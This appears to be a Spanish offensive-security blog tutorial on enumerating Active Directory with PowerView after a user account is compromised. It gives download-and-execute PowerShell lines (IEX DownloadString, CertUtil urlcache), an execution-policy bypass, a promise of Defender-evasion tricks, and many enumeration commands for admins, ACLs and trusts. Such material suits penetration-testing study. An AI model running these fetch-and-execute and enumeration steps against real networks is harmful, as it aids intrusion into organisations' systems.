Enumeración Activa del Active Directory (PowerView.ps1 - SharView.exe)

Mi Foto

En el mundo de la seguridad ofensiva, entendemos que contar con una máquina Kali Linux, ParrotOS o cualquier distribución basada en Linux orientada a la intrusión de entornos Active Directory es una ventaja considerable. Disponer de todas las herramientas en un solo lugar agiliza los procesos, evitando la necesidad de buscar repositorios en GitHub o instalar múltiples dependencias, ya que prácticamente todo viene listo para usar. Sin embargo, la realidad en un entorno corporativo no siempre es tan accesible. Hay ocasiones en las que no podrás integrar tu propia máquina dentro de la infraestructura, virtualizar Kali Linux o utilizar sistemas que no estén autorizados. Es en esos momentos cuando debes recurrir a tu verdadera arma secreta, el conocimiento. Ese recurso que ni la víctima, ni el cliente, ni incluso tú mismo esperabas necesitar con tanta urgencia. Tus habilidades no se limitan a Bash o Shell, también dominas PowerShell y CMD con la misma potencia. Por ello, hoy te presento una guía práctica de enumeración inicial que debes realizar tras comprometer una sesión de usuario dentro de un entorno Active Directory. No solo podrás recolectar información utilizando CMD, sino que también tendrás a tu disposición alternativas como PowerView y SharpView, herramientas esenciales para la enumeración avanzada en escenarios donde Kali Linux no está disponible.

Primero que nada te presentare las herramientas que vamos a utilizar.

  • PowerView.ps1
  • SharpView
  • Un aspecto fundamental que debes tener siempre en cuenta es que no siempre podrás ejecutar PowerView.ps1 o SharpView.exe directamente. Windows Defender y otras soluciones de seguridad los detectan como archivos maliciosos, impidiendo su ejecución en memoria o su almacenamiento en disco, ya que serán automáticamente eliminados del entorno.

    Pero no te preocupes. 👀

    Existen varios trucos que podemos aplicar para importar nuestro PowerView de forma segura y evadir estas restricciones. Estos métodos los estaremos abordando más adelante en otra sección😉.

    Además, en situaciones donde el uso de PowerView o SharpView no sea viable, otra alternativa potente es utilizar el Módulo de Active Directory de PowerShell, una opción legítima que también exploraremos más adelante en otra seccion🦾.

    Introducción a la Enumeración de Objetos con PowerView

    Ahora, enfoquémonos en la enumeración de objetos utilizando PowerView. PowerView.ps1 es una herramienta escrita en PowerShell diseñada para la recolección de información en redes basadas en Windows Active Directory. Esta herramienta permite realizar una amplia variedad de tareas de enumeración, tales como:

    - Obtener información sobre dominios y controladores de dominio

    - Enumerar usuarios, grupos y computadoras

    - Extraer detalles sobre políticas de grupo (GPOs) etc

    PowerView forma parte del proyecto PowerSploit y fue desarrollado por Will Schroeder (HarmJ0y), una figura reconocida en el ámbito de la seguridad ofensiva. Para utilizar PowerView.ps1, es necesario descargar el archivo y ejecutarlo en una consola de PowerShell con la política de ejecución establecida en Bypass, permitiendo así la ejecución de scripts no firmados. Ahora que entendemos qué es PowerView y su importancia, vamos a lo realmente interesante. Primer objetivo, te mostraré tres maneras de obtener PowerView.ps1 en el entorno comprometido:

    - De manera externa, descargándolo directamente desde un repositorio público (como GitHub).

    - De manera interna, sirviéndolo desde un servidor controlado por ti, compartiendo el recurso PowerView.ps1.

    - Mediante técnicas de CertUtil / Invoke-WebRequest, que veremos en detalle más adelante.

    1. Se importa directamente en memoria (recomendado)
    
        IEX(New-Object Net.WebClient).DownloadString('http://IP/PowerView.ps1')
                                

    2. Se almacena en la ruta C:\Users\Public\ y posteriormente lo importas
    
        Invoke-WebRequest -Uri ('http:/IP/PowerView.ps1') -OutFile C:\Users\Public\PowerView.ps1
        cd C:\Users\Public\
        Import-Module .\PowerView.ps1
                                

    3. Se almacena en la ruta actual y posteriormente lo importas
    
        CertUtil -f -urlcache -split 'http://IP/PowerView.ps1'
        Import-Module .\PowerView.ps1
                                

    Nota. Recuerda que la URL dependerá de donde solicites el recurso

    Ahora vamos a ejecutar bypass para permitir la ejecución de script
    
        powershell.exe -ep bypass
                                

    La siguiente lista de comando en PowerShell te permitirá enumerar la siguiente información:

    - Usuarios

    - Grupos

    - Computadoras

    - GPOs

    - ACLs

    - OUs

    - Bosques

    - Dominios

    - Controladores de Dominio

    - Confiazas

    Enumeración de Usuarios

    El siguiente comando enumera todas las propiedades de todos los usuarios existentes dentro del Active Directory
    
        Get-Domainuser
                                

    El siguiente comando enumera solo propiedades seleccionadas
    
        Get-Domainuser -Properties name,objectsid
                                

    Enumeración de Usuarios con filtros (Nombre-NombreCompleto-SID)
    
        Get-DomainUser | select -ExpandProperty name,samaccountname,ObjectSid
                                

    El siguiente comando solo enumera las propiedades de un usuario en particular
    
        Get-DomainUser -Identity "usuario_a_enumerar"
                                

    Userenum

    Enumeración de Computadoras

    El siguiente comando enumera todas las propiedades de todas las computadoras existentes dentro del Active Directory
    
        Get-DomainComputer
                                

    El siguiente comando enumera las propiedades seleccionadas dentro del Active Directory
    
        Get-DomainComputer -Properties name,dnshostname,objectsid
                                

    
        Get-DomainComputer | select -ExpandProperty dnshostname
                            

    Userenum

    Enumeración de Grupos

    El siguiente comando enumera todos los groupos existentes en Active Directory
    
        Get-DomainGroup
                            

    El siguiente comando permite ver detalles del grupo Domain Admins:
    
        Get-DomainGroup -Identity "Domain Admins"
                                

    El siguiente comando enumera los miembros del grupo Administradores de dominio(El grupo puede ser modificable en la busqueda)
    
        Get-DomainGroupMember -Identity "Domain Admins"
                                

    El siguiente comando enumera los miembros del grupo Enterprise Admins
    
        Get-DomainGroupMember -Identity "Enterprise Admins"
                                

    Cuando el dominio no es un dominio raíz, el comando anterior no devuelva nada. Necesitamos consultar el dominio raíz como Enterprise El grupo de administradores está presente solo en la raíz de un bosque.
    
        Get-DomainGroupMember -Identity "Enterprise Admins" -Domain autonomiahcker.local
                                

    Userenum

    Enumeración de GPOs

    Enumera las GPOs. Tenga en cuenta que el nombre (displayname) de las políticas de grupo puede puede ser diferente en cada entorno
    
        Get-DomainGPO
                                

    Enumera las GPOs aplicadas a un usuario, utiliza el siguiente comando:
    
        Get-NetGPO -User 'NombreDeUsuario'
                                

    Enumera las GPOs aplicadas a un equipo, utiliza el siguiente comando:
    
        Get-NetGPO -Computer 'NombreDeEquipo'
                                

    Enumera las GPOs aplicadas al usuario actual, utiliza el siguiente comando:
    
        Get-NetGPO -Username (Get-NetUser -Username 'NombreDeUsuario' -Domain 'NombreDeDominio').SID
                                

    Enumera las GPOs aplicadas al equipo actual, utiliza el siguiente comando:
    
        Get-NetGPO -ComputerName $env:COMPUTERNAME -Domain 'NombreDeDominio'
                                

    Enumera todas las GPOs aplicadas en el dominio, utiliza el siguiente comando:
    
        Get-NetGPO -Domain 'NombreDeDominio'
                                

    El siguiente comando permite saber la politicas que estan creadas en el dominio
    
        Get-NetGPO | select displayname
                                

    Comando para ver que GPO afecta a grupos o computadoras
    
        Get-NetGPOGroup
                                

    Ver las computadoras que están afectadas por la GPO
    
        Find-GPOComputerAdmin -ComputerIdentity * | select computername,objectname
                                

    Userenum

    Enumeración de ACLs (Listas de Control de Acceso)

    Para enumerar ACL, podemos usar Get-DomainObjectACL de PowerView vamos a enumerar las ACL para el Grupo de Administradores de Dominio(El grupo puede ser de su eleccion)
    
        Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
                                

    Para comprobar si se pueden modificar los derechos/permisos para el usuarioX, podemos usar Find-InterestingDomainACL de PowerView
    
        Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "usuarioX"}
                                

    Si somos miembro del grupo RDPUsers o Xgrupo, compruebe los permisos.
    
        Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
                                

    Comando para ver el objeto, el ACL toda la lista de accesos que tiene el grupo Domain Admins(El grupo puede ser de su eleccion)
    
        Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | select securityidentifier,ActiveDirectoryRights,objectdn | f1
                                

    Userenum

    Enumeración de OUs

    Enumerar todo las OU
    
        Get-DomainOU
                                

    Para ver solo los nombres de las OU
    
        Get-DomainOU | select -ExpandProperty name
                                

    Enumerar todas las computadoras en usuarioX OU( o cualquier computadora que quieras)
    
        (Get-DomainOU -Identity pc-usuarioX).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
                                

    Userenum

    Enumeración de Bosques, Dominios y Controladores de Dominio

    Enumera el Bosque
    
        Get-Forest
                                

    Enumera los controladores de dominio existentes en dominio hijo o padre(esto dependerá donde estés posicionado)
    
        Get-DomainController
                                

    Enumera los controladores de dominio del dominio padre
    
        Get-DomainController -Domain dominiopadre.local
                                

    Userenum

    Enumeración de Confianzas

    Enumera confianzas
    
        Get-DomainTrust
                                

    Mapea las confianzas
    
        Get-DomainTrustMapping
                                

    Enumerar solo las confianzas externos en dominio.local bosque
    
        Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
                                

    Para identificar las confianzas externas del dominio corp.dominio.local, podemos utilice el siguiente comando:
    
        Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
                                

    Userenum

    Descarga el documento de comandos aqui: Descargar PDF

    Alternativa SharpView.exe... espera las actualizaciones😎

    Redes Sociales